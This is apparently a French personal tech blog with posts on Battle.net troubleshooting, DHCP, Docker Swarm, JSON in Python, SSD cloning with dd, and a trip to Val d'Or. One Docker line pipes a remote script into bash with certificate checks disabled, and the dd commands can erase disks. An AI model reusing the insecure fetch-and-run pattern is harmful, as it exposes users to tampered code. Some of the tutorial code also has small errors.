C:/Program Files/Battle.net/ ou C:/Program Files (x86)/Battle.net/
C:/ProgramData/Battle.net/
C:/ProgramData/Blizzard Entertainment/
C:/Windows/Temp/
%appdata%/Battle.net/ (cf ci-dessous pour les chemins avec des %)
%localappdata%/Battle.net/
%localappdata%/Blizzard Entertainment/

Ensuite réinstallez Battle.net puis vos jeux.

Source du fix : [Solved] Fix Almost any Battle.net bugs with these 9 quick fixes!.

Pour ouvrir les dossiers avec des pourcentages, copiez collez la ligne dans la barre en haut de l’explorateur de fichier Windows. Exemple :

Diagnostique réseau

La base : traceroute, ping, pathping

L’erreur laisse penser à un problème réseau. Le support Blizzard demande alors de réaliser un pathping (une commande Windows) sur l’ip 80.239.208.193.

Détermination de l’itinéraire vers 80-239-208-193.customer.teliacarrier.com [80.239.208.193]
avec un maximum de 30 sauts :
  0  MASTERRACE.home [192.168.1.40]
  1  liveboxipv4.home [192.168.1.1]
  2     *        *        *
Traitement des statistiques pendant 25 secondes...
            Source vers ici  Ce nœud/lien
Saut RTT    Perdu/Envoyé = % Perdu/Envoyé = % Adresse
  0                                           MASTERRACE.home [192.168.1.40]
                                0/ 100 =  0%   |
  1    0ms     0/ 100 =  0%     0/ 100 =  0%  liveboxipv4.home [192.168.1.1]

Itinéraire déterminé.

Étonnemment cette commande semble échouer sur l’IP indiquée, ce qui laisse présager un problème réseau. Ceci dit, après quelques recherches, elle échoue sur toutes les IPs. La raison m’est encore inconnue.

Cependant les commandes ping et traceroute fonctionnent parfaitement bien :

Envoi d’une requête 'Ping'  80.239.208.193 avec 32 octets de données :
Réponse de 80.239.208.193 : octets=32 temps=22 ms TTL=112
Réponse de 80.239.208.193 : octets=32 temps=18 ms TTL=112
Réponse de 80.239.208.193 : octets=32 temps=18 ms TTL=112
Réponse de 80.239.208.193 : octets=32 temps=18 ms TTL=112

Statistiques Ping pour 80.239.208.193:
    Paquets : envoyés = 4, reçus = 4, perdus = 0 (perte 0%),
Durée approximative des boucles en millisecondes :
    Minimum = 18ms, Maximum = 22ms, Moyenne = 19ms

Détermination de l’itinéraire vers 80-239-208-193.customer.teliacarrier.com [80.239.208.193]
avec un maximum de 30 sauts :

  1    <1 ms    <1 ms    <1 ms  liveboxipv4.home [192.168.1.1]
  2     *        *        *     Délai d’attente de la demande dépassé.
  3     1 ms     1 ms    <1 ms  xxxx.Caen.francetelecom.net [x.x.x.x]
  4     6 ms     6 ms     6 ms  xxxx.Paris.francetelecom.net [x.x.x.x]
  5     6 ms     6 ms     6 ms  193.252.137.74
  6     *        *        *     Délai d’attente de la demande dépassé.
  7     7 ms     7 ms     7 ms  BLIZZARD-EN.ear2.Paris1.Level3.net [212.73.205.158]
  8     8 ms     7 ms     8 ms  37.244.9.48
  9     *        *        *     Délai d’attente de la demande dépassé.
 10    17 ms    17 ms    18 ms  37.244.10.101
 11     *        *        *     Délai d’attente de la demande dépassé.
 12     *        *        *     Délai d’attente de la demande dépassé.
 13    18 ms    17 ms    18 ms  80-239-208-193.customer.teliacarrier.com [80.239.208.193]

Itinéraire déterminé.

Ces résultats suffisent à disqualifier un problème de réseau basique. On peut donc avancer dans nos recherches et regarder ce qui se passe sur Wireshark.

L’artillerie lourde : Wireshark

On va démarrer notre capture un peu avant l’appuie sur le bouton “Mise à jour” et l’arrêter juste après l’apparition du message d’erreur. On constate donc que les échanges sont réalisés sur le port 1119, un des ports de Battle.net avec deux IP différentes : en HTTP avec 185.60.112.06 et dans un protole incconu avec 80.239.208.193.

Il y aurait beaucoup à redire sur le fonctionnement du client Battle.net mais rien qui nous intéresse pour résoudre notre problème.

À cette étape, à part tenter de déserialiser le protocole incconu, il ne nous reste plus grand chose à faire côté réseau.

Diagnostique processus

Le bug étant propre à la machine, il est intéressant de voir comment le processus échange avec le reste du système. Je me suis donc mis en quête d’un équivalent de strace pour Windows. Suite aux conseils dans un fil de discussion sur Stackoverflow, je me suis tourné vers Process Monitor

Cette application permet entre autre de suivre les différents appels au registre, au système de fichier, au réseau et les différentes threads crées par l’application.

On commencer par cliquer sur “Filter”, puis “Filter…”. Là on va choisir dans le premier menu déroulant “Process Name”, puis “contains” dans le second et ensuite on va taper “Battle”. On clique sur ajouter pour rajouter le filtre.

Maintenant, vous ne devriez plus que voir les informations liés aux processus Battle.net. Les 3 icônes à droite de sauvegarde servent, dans l’ordre, à :

Lancer/Stopper la capture
Activer/Désativer l’autoscroll
Vider les logs

Et les 5 icônes les plus à droite servent à filtrer les évènements. Voici un exemple de ce que l’on peut obtenir :

Process Monitor m’a permis de me rendre compte de deux choses :

Un fichier de log était créé (et j’avais donc son chemin)
Battle.net essayait d’accéder à un dossier dans Battle.net.8423 qui n’existait pas.

J’ai alors essayé de supprimer le dossier Battle.net.8423. Mauvaise idée, ça plante complètement Battle.net. Lors de la réinstallation, j’obtiens une erreur de mise à jour du client Battle.net En lisant les logs, je trouve l’erreur “Failed to fetch Build config” que je cherche sur Internet et qui m’emmène vers le lien cité dans la partie “Solution”. Il suffit donc de supprimer un certains nombre de fichiers. Probablement qu’une recherche plus poussée dans Process Monitor aurait pu nous ammener à la même conclusion.

Si nous n’avions pas trouvé de solution, il nous restait la possibilité d’utiliser un debugger / décompilateur (comme IDA ou radare), dans le respect des lois, pour comprendre ce qu’il se passe dans l’executable

Conclusion

Finalement, l’erreur de Blizzard était trompeuse et la commande pour tester la connectivité réseau (pathping) induit elle aussi en erreur. De plus leur client semble avoir tendance à répliquer ses fichiers partout et à les corrompre par la même occasion. Enfin, le fil de discussion obscure mériterait d’être intégré à la FAQ qui est très laconique.

DHCP et la gestion des passerelles

Fri, 10 Feb 2017 00:00:00 +0100

Après une récente modification de mon serveur DHCP, je me retrouvais dans l’impossibilité de connecter une tablette à mon réseau. Cette dernière restait bloquée à Récupération de l'adresse IP. Après avoir un peu cherché sur internet, je n’ai pas trouvé de solution satisfaisante. Le serveur DHCP fonctionnait avec les autres ordinateurs.

Le protocole DHCP

Le schéma propose une version simplifiée des échanges entre un client et un serveur DHCP.

Client            Serveur
  |---- DISCOVER --->|
  |<----- OFFER -----|
  |---- REQUEST ---->|
  |<------ ACK ------|

Il est intéressant de noter que BOOTP est l’ancêtre de DHCP et que DHCP est rétro compatible avec BOOTP. De ce fait, la plus part du paquet DHCP va être vide, et les paramètres DHCP vont se trouver dans les options du paquet BOOTP.

Logs

J’ai commencé par regarder les logs de isc-dhcp-server :

dhcpd[2207]: DHCPREQUEST for 192.168.1.77 (192.168.1.254) from aa:aa:aa:aa:aa:aa (android-xx) via br0
dhcpd[2207]: DHCPOFFER on 192.168.1.77 to aa:aa:aa:aa:aa:aa (android-xx) via br0
dhcpd[2207]: DHCPREQUEST for 192.168.1.77 (192.168.1.254) from aa:aa:aa:aa:aa:aa (android-xx) via br0
dhcpd[2207]: DHCPOFFER on 192.168.1.77 to aa:aa:aa:aa:aa:aa (android-xx) via br0

J’ai des doutes sur la terminologie utilisée par le serveur DHCP vis à vis du nom des messages envoyés sur le réseau. D’autant que Bootp utilise aussi les termes Request et Reply pour des cas différents :

Une Request Bootp peut-être un message Discover DHCP
Une Reply Bootp peut-être un message Offer DHCP

Il semble ici que le terme DHCPREQUEST fasse référence à un message DISCOVER DHCP. Je suppose donc que la tablette envoie des requêtes DISCOVER et que le serveur lui envoie un paquet OFFER auquel la tablette ne répond pas. Si on reprends le schéma ci-dessus, je suppose que l’on a ces échanges :

Client            Serveur
  |---- DISCOVER --->|
  |<----- OFFER -----|
  |                  |
  |---- DISCOVER --->|
  |<----- OFFER -----|

Modification de la configuration en aveugle

J’ai donc modifié la configuration de mon serveur DHCP en la simplifiant le plus possible, jusqu’à ce que ma tablette réussisse à se connecter. Le coupable était la ligne :

option routers 192.168.1.254, 192.168.1.1;

En ne spécifiant qu’une seule passerelle, le problème est résolu :

option routers 192.168.1.254;

Mais d’où vient ce problème ?

Traffic réseau

Je me suis demandé ce que pouvait bien envoyer isc-dhcp-server à ma tablette pour qu’elle n’en veuille pas. J’ai donc comparé les paquets envoyé avec les deux configurations différentes.

Outils

Pour écouter le traffic réseau j’ai utilisé tcpdump. L’option -vv est bien pratique car elle permet d’expliquer le contenu du paquet. Dans le cas d’un protocole inconnu, -XX permet d’avoir un hexdump. Les deux sont combinables.

sudo tcpdump -i br0 -vv -e -n port 67 or port 68 and ether host aa:aa:aa:aa:aa:aa

Messages envoyés

On lance une capture dans le mode avec les deux gateways. Pour des questions de lisibilité, on filtre sur le nom du paquet DHCP avec grep.

$ sudo tcpdump -i br0 -v -e -n port 67 or port 68 and ether host 00:08:22:12:af:fd|grep DHCP-Message
tcpdump: listening on br0, link-type EN10MB (Ethernet), capture size 262144 bytes
	    DHCP-Message Option 53, length 1: Discover
	    DHCP-Message Option 53, length 1: Offer
	    DHCP-Message Option 53, length 1: Discover
	    DHCP-Message Option 53, length 1: Offer
	    DHCP-Message Option 53, length 1: Discover
^C8 packets captured
8 packets received by filter
0 packets dropped by kernel

On observe en boucle un message DISCOVER suivi d’un message OFFER et jamais de paquet REQUEST. Ce qui confirme bien ma thèse suite à la lecture des logs.

Comparaison des deux paquets OFFER

Après comparaison du dump hexadecimal des deux paquets OFFER, ces derniers sont quasiment identiques. Les deux seules différences sont :

Celui avec les deux gateways fait 4 octets de plus. On notera que c’est aussi la taille d’une ipv4, et c’est du à la seconde adresse.
Des valeurs générés aléatoirements sont aussi différentes.

En tout cas, tcpdump n’a pas de problème à décoder nos champs gateway dans les deux cas.

Default-Gateway Option 3, length 4: 192.168.1.254

Default-Gateway Option 3, length 8: 192.168.1.254,192.168.1.1

A la suite de ça, je suppose donc que c’est le client DHCP qui ne sait pas quoi faire de ces deux gateways.

Etude du client DHCP

Le protocole DHCP indique que le client doit envoyer son nom :

Vendor-Class Option 60, length 16: "android-dhcp-6.0"

Je connais maintenant le nom du client DHCP utilisé par la tablette. Mais comment débugger ça du côté d’Android ? Retouver le code source ? Regarder les logs ? Mais où et comment faire quand on est pas root ?

A suivre

Docker Swarm

Thu, 09 Feb 2017 00:00:00 +0100

Tentative Scaleway

Etant donné le coup très faible des machines Scaleway, j’ai tenté de provisionné plusieurs machines pour réaliser un swarm. Mais ça a été plus compliqué que prévu.

Impossible d’initiliaser le manager

Pour contourner ce problème, il faut accepter d’utiliser les IP privées, et donc déclarer votre ip en 10.x.x.x.

Apparemment les noyaux Scaleway ne supportent pas toujours les modules attendus par Docker Swarm. Mais il semble que le noyeau de l’image Docker devrait fonctionner. D’ailleurs, une rapide vérification avec le script ci-dessous nous en assure.

Malheureusement, malgrés toutes ces précautions, impossible d’avoir un swarm fonctionnel. Ainsi, une fois le docker registry lancé dans le swarm :

$ curl -v 172.18.0.3:5000/v2/_catalog # soit l'IP du conteneur
*   Trying 172.18.0.3...
* Connected to 172.18.0.3 (172.18.0.3) port 5000 (#0)
> GET /v2/_catalog HTTP/1.1
> Host: 172.18.0.3:5000
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: application/json; charset=utf-8
< Docker-Distribution-Api-Version: registry/2.0
< X-Content-Type-Options: nosniff
< Date: Thu, 09 Feb 2017 13:58:15 GMT
< Content-Length: 20
<
{"repositories":[]}

$ curl -v localhost:5000/v2/_catalog
*   Trying ::1...
* Connected to localhost (::1) port 5000 (#0)
> GET /v2/_catalog HTTP/1.1
> Host: localhost:5000
> User-Agent: curl/7.47.0
> Accept: */*
> 
^C

Ailleurs

Et pour vérifier que votre noyau supporte bien tout ce qu’il vous faut :

bash <(curl https://raw.githubusercontent.com/docker/docker/master/contrib/check-config.sh -Lk)

Installer Docker rapidement sous Debian

Voici un script réalisé à partir des commandes fournies par la documentation de Docker :

#!/bin/bash
apt update

apt install -y curl \
  apt-transport-https \
  ca-certificates \
  software-properties-common

curl -fsSL https://yum.dockerproject.org/gpg |
  apt-key add -

add-apt-repository "deb https://apt.dockerproject.org/repo/ debian-$(lsb_release -cs) main"

apt update
apt -y install docker-engine
docker -v

Créer le swarm

Tutoriel Docker Swarm

Maintenant sur master :

docker swarm init --advertise-addr 1.2.3.4

Ce qui devrait donner quelque chose comme :

Swarm initialized: current node (....) is now a manager.

To add a worker to this swarm, run the following command:

    docker swarm join --token ... 1.2.3.4:2377

To add a manager to this swarm, run 'docker swarm join-token manager' and follow the instructions.

On va donc lancer la commande sur les 2 slaves. Si vous avez perdu la commande, tapez juste docker swarm join-token worker sur le master.

On vérifie que tout s’est bien passé :

$ docker node ls
ID                           HOSTNAME   STATUS  AVAILABILITY  MANAGER STATUS
6wyl4ozytbgdeak4s6sahs2zo *  rincevent  Ready   Active        Leader
i2lg4r3nsnvl9i8s0rr3t4fcy    insalan    Ready   Active        

Pour quitter le swarm, la commande est :

docker swarm leave --force

Le –force est seulement nécessaire pour les managers

Lancer un docker registry pour stocker nos images

Dans notre cas, on va lancer le registry sans authentification et sans certificats TLS. De ce fait, il ne sera accessible que depuis localhost. L’idée c’est qu’avec le network mesh de Docker Swarm, il sera accessible depuis tous les noeuds du swarm via localhost:5000. Bien entendu en production, il serait préférable d’avoir un registry bien configuré…

docker service create --replicas 1 --publish 5000:5000 --name registry registry:2

Quelques commandes pour voir si tout s’est bien passé :

docker service ls
docker service inspect --pretty registry
docker service ps registry

Pour tester que tout marche bien :

curl localhost:5000/v2/_catalog

Et si besoin de le supprimer :

docker service rm registry

Constuire nos images et les publier sur le registry

Pour chaque image, on va la build sur un des serveurs du swarm (car le repository n’est accessible que depuis localhost) et la publier :

cd mon_image/
docker build -t mon_image .
docker tag mon_image localhost:5000/mon_image
docker push localhost:5000/mon_image

En conclusion

Après un échec de déploiement sur Scaleway et une réussite en demi teinte en local (le network mesh ne marchant pas sur mon Docker dans ma LXC), je vais en rester là pour le moment, en attendant de faire des machines virtuelles ou d’avoir du materiel pour tester.

JSON simplement

Sun, 22 Jan 2017 00:00:00 +0100

Cet article a pour but d’expliquer ce qu’est JSON et de montrer des cas simples d’utilisation avec python. Encore une fois, il n’est pas exhaustif et ne s’adresse pas à des experts. Les exemples seront données avec python, mais JSON peut-être utilisé avec n’importe quel langage de programmation.

JSON est une abbréviation qui signifie JavaScript Object Notation. A vrai dire, ce n’est pas très important et ça ne nous informe pas particulièrement sur son usage.

Prenons un exemple pour bien comprendre :

Le contexte : ma bibliothèque

Imaginons que vous commenciez à faire l’inventaire des livres de votre bibliothèque en python :

# On créer un nouveau tableau qui contiendra nos livres
bibliotheque = []
while True:
  print(bibliotheque)
  livre = input()
  bibliotheque.append(livre)

Si on a le malheur d’arrêter l’application, alors on perd tout le contenu du tableau bibliothèque. Et donc à chaque démarrage, on doit de nouveau rerentrer les livres. Pas très pratique, mais il doit bien y avoir une solution !

Ecrivons la liste des livres dans un fichier

La solution est donc d’écrire la liste des livres dans un fichier. Oui, mais c’est pas si simple.

Comment je vais faire ?
Séparer mes livres par des virgules ?
- Si mon titre contient une virgule, que va t’il se passer ?
Un livre sur chaque ligne alors ?
- Et si on veut rajouter d’autres informations après ? Comme l’auteur ?

Avec juste un titre, c’est plutot simple, on écrit un titre par ligne :

import os

def sauvegarder(bibliotheque):
    # --- on convertit bibliotheque (un tableau) en chaine de caractère ---
    contenu = ""
    for livre in bibliotheque:
      # on ajoute à contenu un livre et un retour à la ligne
      contenu += livre + "\n"

    # --- on sauvegarde la chaine de caractère ---
    with open('sauvegarde.txt', 'w') as fichier:
      fichier.write(contenu)

def charger():
    # --- on lit le fichier ---
    contenu = ""
    with open('sauvegarde.txt') as fichier:
      contenu = fichier.read()

   # --- on convertit la chaine de caractère en bibliotheque (tableau) ---
   bibliotheque = contenu.split("\n")
   return bibliotheque

bibliotheque = []

# Si le fichier de sauvegarde existe, on le charge
if os.path.isfile('sauvegarde.txt'):
  bibliotheque = charger()

while True:
  print(bibliotheque)
  livre = input()
  bibliotheque.append(livre)

  # on sauvegarde
  sauvegarder(bibliotheque)

Récapitulons :

On doit convertir notre variable (tableau, dictionnaire) en chaine de caractère
On doit écrire ou lire un fichier

La deuxième partie est simple et ne change pas, mais la première semble assez bancale.

Si on complexifie, ça ne marche plus

Imaginons qu’à la place d’un simple titre, on veuille stocker plus d’informations :

# On créer un nouveau tableau qui contiendra nos livres
bibliotheque = []
while True:
  print(bibliotheque)
  livre = {} # On créer un dictionnaire python
  livre['titre'] = input("titre > ")
  livre['auteur'] = input("auteur > ")
  livre['edition'] = input("edition > ")
  bibliotheque.append(livre)

On devrait alors modifier les parties conversions des fonctions charger et sauvegarder. Et ces dernières deviendraient vraiment compliquées.

Mais est-ce que l’ordinateur ne pourrait pas de lui-même convertir notre tableau en texte ?

Oui, on appelle ça sérializer et déserializer des données (magnifique anglicisme au passage). Et JSON est une manière de faire ça, de convertir un tableau, un dictionnaire python, etc. en texte et vice-versa.

Découvrons JSON

Donc JSON permets de convertir certaines variables (tableau, dictionnaire) en texte. Voici un exemple avec notre bibliotheque

>>> import json
>>> bibliotheque = []
>>> livre = {}
>>> livre['auteur'] = "J. K. Rowling"
>>> livre['titre'] = "Harry Potter 1"
>>> livre['edition'] = "Galimard"
>>> bibliotheque.append(livre)
>>> livre2['auteur'] = "Terry Pratchett"
>>> livre2 = {}
>>> livre2['auteur'] = "Terry Pratchett"
>>> livre2['titre'] = "Les annales du disque monde"
>>> livre2['edition'] = "Hachette"
>>> bibliotheque.append(livre2)
>>> json.dumps(bibliotheque)
'[{"edition": "Galimard", "titre": "Harry Potter 1", "auteur": "J. K. Rowling"}, {"edition": "Hachette", "titre": "Les annales du disque monde", "auteur": "Terry Pratchett"}]'

Tout en bas, la chaine de caractère, c’est la représentation JSON du contenu de votre variable bibliotheque. Copiez-collez le et ouvrez une nouvelle fenêtre python pour taper :

>>> import json
>>> bibliotheque = json.loads('[{"edition": "Galimard", "titre": "Harry Potter 1", "auteur": "J. K. Rowling"}, {"edition": "Hachette", "titre": "Les annales du disque monde", "auteur": "Terry Pratchett"}]')
>>> bibliotheque[0]['titre']
'Harry Potter 1'

Voilà, votre tableau bibliothèque a été chargé avec le même contenu que tout à l’heure, sans que vous n’ayez vous même à convertir quoi que ce soit !

Utiliser json avec des fichiers

Si on voulait réécrire les fonction sauvegarde() et charger() précédentes, on pourrait utiliser les fonctions déjà existantes de json pour écrire dans un fichier. Notez la présence d’un S à la fin dans json.loads() et json.dumps() au dessus qui génèrent une chaine de caractère VS l’absence de ce S dans json.load() et json.dump() qui écrivent directement dans un fichier

import json, os

def sauvegarder(bibliotheque):
  with open('sauvegarde.txt', 'w') as fichier:
    json.dump(bibliotheque, fichier)

def charger():
  with open('sauvegarde.txt') as fichier:
    return json.load(fichier)
    
# On créer un nouveau tableau qui contiendra nos livres
bibliotheque = []

if os.path.isfile('sauvegarde.txt'):
  bibliotheque = charger()

while True:
  print(bibliotheque)
  livre = {} # On créer un dictionnaire python
  livre['titre'] = input("titre > ")
  livre['auteur'] = input("auteur > ")
  livre['edition'] = input("edition > ")
  bibliotheque.append(livre)
  sauvegarder(bibliotheque)

JSON ne sert pas qu’à sauvegarder des fichiers. Il permets aussi de faire communiquer des programmes écrits dans des langages différents via le réseau par exemple.

Bon courage !

Migrer vers un disque plus petit

Wed, 04 Jan 2017 00:00:00 +0100

J’ai un peu cherché sur internet comment migrer vers un SSD plus petit que le disque dur d’origine sans trouvé de vrai guide détaillé. Souvent moqué, c’est une idée loin d’être bête. En effet, certains de mes PC n’ont besoin que de 250Go d’espace disque mais ont de vieux disques dur de 500Go. Autant migrer sur des SSD de 250 Go !

Dans mon cas, j’ai effectué cette procédure sur 2 PCs sous Windows 10, avec 2 ou 3 partitions (System Reserved - des fois, la partition C:, et la partition diag).

Avertissement !

Je ne suis pas responsable si vous perdez des données. Il existe de nombreuses raisons pour que les opérations décrite après se passent mal : cas particulier, erreur matériel, perte de courant, erreur humaine, etc.

Nous allons utiliser l’outil dd en ligne de commande qui est loin d’être un outil user friendly. Inversez deux paramètres et vous vous retrouverez à copier le contenu de votre SSD vide sur votre disque dur. C’est ce qui lui vaut le doux surnom de Data Destroyer.

Vous ne devriez tenter le coup qu’après avoir sauvegardé toutes les données importantes sur un autre support qui sera déconnecté lors de la manipulation ainsi qu’avoir de quoi réinstaller un système complet en cas d’échec (et le temps de le faire !).

Étape 1 - Bien se préparer

Dans notre cas on va utiliser la dernière version de Fedora 25 Workstation. Vous pourrez probablement adapter ce tutoriel avec n’importe quelle distribution live.

Le choix d’une distribution générique est critiquable sachant que des distributions gparted live existent, mais elle permet d’éviter certaines déconvenues comme le support de plus de materiels, mieux testées, plus polyvalente en cas de problème, etc..

Une fois votre image téléchargée, vous devez “l’écrire” sur une clé USB (ou un DVD). Depuis Windows, je vous conseille l’outil Rufus. Depuis Linux ou Mac OS, nous allons utiliser dd. Si vous êtes sous Fedora, vous pouvez utiliser l’outil Disques (Disks en anglais, gnome-disks depuis la cli) pour trouver le path de votre clé USB - ici /dev/sdb

sudo dd if=image.iso of=/dev/sdb bs=4M

Avant de commencer, il est important de laisser votre partition NTFS en bon état. Et donc d’éteindre complètement votre ordinateur.

En effet, par défaut depuis Windows 8, windows mets en cache et verrouille la partition NTFS quand vous cliquez sur éteindre pour permettre un démarrage plus rapide. Il existe d’autres raisons pour que votre partitiion soit verrouillée. Vous vous en rendrez compte, si ça vous arrive, au moment de redimensionner la partition avec gparted : vous ne pourrez pas et cette dernière présentera un panneau avertissement devant.

shutdown /s /t 0

Branchez aussi votre SSD sur l’ordinateur. Afin de me simplifier la vie et ne pas m’amuser à trouver un autre cable SATA et d’alimentation, j’ai branché le SSD en USB sur l’ordinateur avec le contrôleur que j’ai récupéré d’un disque dur externe. Si vous avez un boitier disque dur externe avec possibilité de mettre votre propre disque, c’est la même chose.

Étape 2 - Configurer l’instance live de Fedora

On va boot sur la clé USB Fedora live 25. Le démarrage peut être un peu long.

Notre première étape sera de passer notre clavier en français azerty (ou n’importe quel autre format en fait). Depuis les paramètres, on va choisir “Région et Langues” puis ajouter une “Input Source”

Ensuite on va installer gparted :

sudo dnf install -y gparted

Étape 3 - Diminuer la taille des partitions

Nous allons commencer par lancer gparted

sudo gparted

Assurez-vous que le disque selectionné est le bon (en haut à droite). On va redimensioner nos partitions de tel sorte à avoir l’ensemble de nos partitions plus petite que le disque de destination au début du disque. Ainsi, si votre disque cible fait 250 Go, essayez de n’avoir que les 200 premiers Go d’occupés sur votre disque, le reste devant être vide.

Si on se laisse une marge de manoeuvre, c’est pour éviter les erreurs de calculs liées aux divers unités utilisées, aux tailles de blocs, etc. Pas d’inquiétude, on étendra la partition une fois copiée pour utiliser tout l’espace à disposition.

Vous aurez peut être à bouger des partitions, apparemment ça peut poser des problèmes. A vous de faire attention !

Étape 4 - Copier le contenu du disque sur le SSD

Utilisez l’utilitaire de disque de Fedora pour facilement identifier vos disques.

Ici, on va copier notre disque dur /dev/sda vers le SSD /dev/sdg avec une taille de bloc de 4M et on va afficher l’avancement avec status=progress.

sudo dd if=/dev/sda of=/dev/sdg bs=4M status=progress

Si vous avez oublié le progress, vous pouvez afficher l’avancement en tapant dans un autre terminal :

ps aux | grep dd # relevez le PID, ici on suppose que c'est 2534
sudo watch -n 60 kill -USR1 2534 # watch execute la commande toutes les 60 secondes

Vous allez finir avec une erreur car le disque cible est plus petit. C’est normal, enfin attendu. Si on voulait faire ça bien, on aurait utilisé count pour copier le bon nombre de blocs. C’est un calcul entre la taille du disk, la taille des blocs et le nombre de blocs copiés. On se serait alors arrêté de copier au bon moment.

sudo sync

Pour être sûr qu’on a bien écrit les données sur le disque.

Étape 5 - Augmenter la taille des partitions pour combler l’espace vide

On va relancer gparted pour agrandir nos partitions pour utiliser au maximum l’espace disponible. Sachez que si vous n’avez pas de partitions à déplacer, vous pourriez directement augmenter la partition C: depuis Windows dans l’outil de gestion de disque, même si Windows est en train de l’utiliser - bien que je n’ai pas tenté !

Étape 6 - Finaliser votre installation

Il nous reste encore quelques actions à réaliser pour finaliser notre opération :

Installer le SSD à la place du disque dur
Fixer les éventuelles erreurs trouvées par Windows
Garder votre ancien disque dur en l’état un petit peu afin de vérifier que tout fonctionne bien.

Lorsque j’ai remplacé le disque dur par le SSD, je me suis rendu compte que le BIOS d’un de mes ordinateurs ne reconnaissait pas le SSD… Heureusement, j’avais une autre tour inutilisée, mais à ce jour je n’ai pas de solution. D’autant plus que ce dernier refusait aussi de détecter ma carte SATA en PCI

Excursion à Val d'Or

Fri, 01 Jul 2016 00:00:00 +0200

Le Vendredi 1er Juillet est férié au Canada, autant en profiter pour voyager. Ayant un ami en stage à Val d’Or, c’était l’occasion de faire d’une pierre deux coups.

Vendredi 1er Juillet

4h45 Je comptais partir depuis le terminus de la ligne de bus 747 qui se rend à l’Aéroport de Montréal, et qui se trouve à côté de mon lieu d’habitation. L’arrêt se trouve au croisement des rues Berri / Ontario selon le site de la STM. Une fois sur place, impossible de trouver cet arrêt. En demandant à Google Maps l’arrêt le plus proche, il me donne le suivant. Je descends donc à l’arrêt Berri / UQAM. À mon arrivée, une note indique qu’en raison de la fête du Canada, les bus 747 ne passent qu’à partir de 9h30 et jusqu’à 15h00. Je crois que regarder les horaires du dimanche était un brin optimiste… Vers 4h55, un bus avec l’inscription spécial mais aux couleurs du bus 747 s’arrête et prend des passagers. Je le vois trop tard, j’étais de l’autre côté de la route.

5h00 Mon téléphone s’étant connecté sur EDUROAM (le réseau WiFi de la recherche et de l’éducation supérieure), j’en profite pour installer Uber. Étant donné l’heure et le jour férié, ce dernier m’annonce une majoration de 1.4x. Trois chauffeurs refusent de prendre ma course, probablement à cause des tensions avec les taxis. Ici aussi Uber fait des émules. Cependant mon attente ne fut pas bien longue car 3 minutes plus tard un chauffeur m’attendait au coin de la rue.

5h20 Finalement ces péripéties m’ont permis d’arriver à l’Aéroport de Montréal bien plus tôt que prévu. À mon arrivée, je ne trouve personne au comptoir Air Creebec. On me dit que l’enregistrement commence vers 6h00 - 6h30. J’en profite pour me poser et commencer à écrire cet article.

6h00 Je me rends au comptoir, je m’enregistre. Je passe les contrôles de sécurité. Vers 6h25 je trouve la porte d’embarquement au fond de l’aéroport.

7h45 Décollage…

9h00 Jolie vue lors de mon arrivée sur Val d’Or et son aéroport.

À mon arrivée, je commence par essuyer un refus de la part de Budget, loueur de voiture, car ma carte de crédit n’est pas acceptée par leur système. Nous nous déplacerons donc à pied ! Nous avons commencé par visiter la ville et particulièrement la 3ème avenue, l’avenue commerçante de Val d’Or.

La 3ème avenue du côté de l’université, vers la sortie de la ville.

Et l’autre côté, avec toutes les boutiques.

On peut trouver beaucoup de choses à Val d’Or. La preuve, voilà une galerie d’art !

L’UQAT, l’Université du Québec en Abitibi-Témiscamingue où William et ses colocataires sont en stage.

L’après-midi étant très pluvieux, nous sommes restés à l’intérieur, l’occasion de tester l’Ostie de jeu et ses questions existentielles.

Samedi 2 juillet

Le lendemain, nous avons commencé la journée par un solide brunch, aux couleurs italiennes. Enfin, c’est ce qui est écrit sur la carte !

Nous avons ensuite enchaîné sur la visite de la Cité de l’Or. Nous avons pris la visite express qui dure tout de même 2 heures, ce qui laisse le temps de couvrir pas mal de sujets.

On commence la visite dans les laboratoires, là où étaient analysés les échantillons pour connaître leur teneur en or.

La visite se poursuit dans la mine, à la lampe frontale. Les conditions de travail semblent loin d’être idéales.

Dimanche 3 juillet

Pour mon dernier jour, nous commençons la visite par la tour Rotary après avoir trouvé un loueur de vélos.

Notre seconde étape du jour était la plage Rotary. 30 minutes de vélo plus tard, nous y voilà.

Mais ces 3 jours à Val d’Or sont déjà terminés. Mon avion est à 17h45.

Nous avons pu finalement voir beaucoup de choses, et n’avons pas trop été handicapés par le manque de voiture. Les gens que nous avons rencontrés étaient tous gentils. Un petit clin d’oeil à William qui s’est vu qualifier son vélo d’antiquité par un habitant de Val d’Or passant à côté !

Merci à William Misson pour ses photos de la mine.

Florilège de bugs

Tue, 19 Apr 2016 00:00:00 +0200

Ces derniers temps, j’ai fais face à une série noire de bugs sur mes serveurs. Il y a une théorie qui dit que dans le monde du logiciel libre, vous êtes toujours responsable quand une erreur arrive. L’objectif de cet article est donc de me servir d’aide mémoire, de réfléchir sur les solutions possibles et peut-être d’aider certaines personnes qui rencontreraient ce problème.

Fuite mémoire dans le noyau Linux

Le premier bug a touché mon serveur auto-hébergé suite à une coupure de courant. Étant à 6 000km de ce dernier, ce n’est pas facile de diagnostiquer d’où vient le problème. J’ai d’abord pensé à un problème sur le réseau. Quand au final, je me suis aussi aperçu que mes graphes munin en local étaient coupés.

Mais par contre rien ne semble suspicieux à première vue. Donc on constate que depuis la coupure électrique et donc le redémarrage, le serveur fonctionne pendant deux heures en moyenne et se coupe. Mais est toujours sous tension. Ca ressemble beaucoup à quelque chose comme un kernel panic.

L’étape suivante la plus logique est donc de se pencher sur les logs. Pour le coup, journalctl ne m’a pas été d’une grande aide. Il n’avait qu’un historique depuis le dernier démarrage. Par contre, j’ai quand même trouvé un fichier /var/log/syslog. Un point qui me fait dire que la gestion des logs peut-être très différente en fonction des distributions Linux et de la configuration de la stack systemd & co. Et donc on trouve entre autre des centaines de lignes comme celle là :

Apr 13 19:12:02 deuxfleurs kernel: [30185.865364] Out of memory: Kill process 20580 (munin-node) score 0 or sacrifice child
Apr 13 19:12:02 deuxfleurs kernel: [30185.873404] Killed process 20580 (munin-node) total-vm:6592kB, anon-rss:228kB, file-rss:2972kB

Comme quoi notre Linux n’aurait plus de RAM. Je pensais donc au début à un processus qui utiliserait toute la RAM. Ce qui n’est pas le cas après vérification de htop. Qui plus est, on vient de le voir, Linux tue les processus qui consomment trop de RAM quand cette dernière vient à manquer.

Ayant installé netdata pour avoir un meilleur suivi, je constate l’augmentation régulière de la RAM au fur et à mesure du temps :

Les graphes Munin n’étaient pas assez précis pour que je puisse constater cette augmentation.

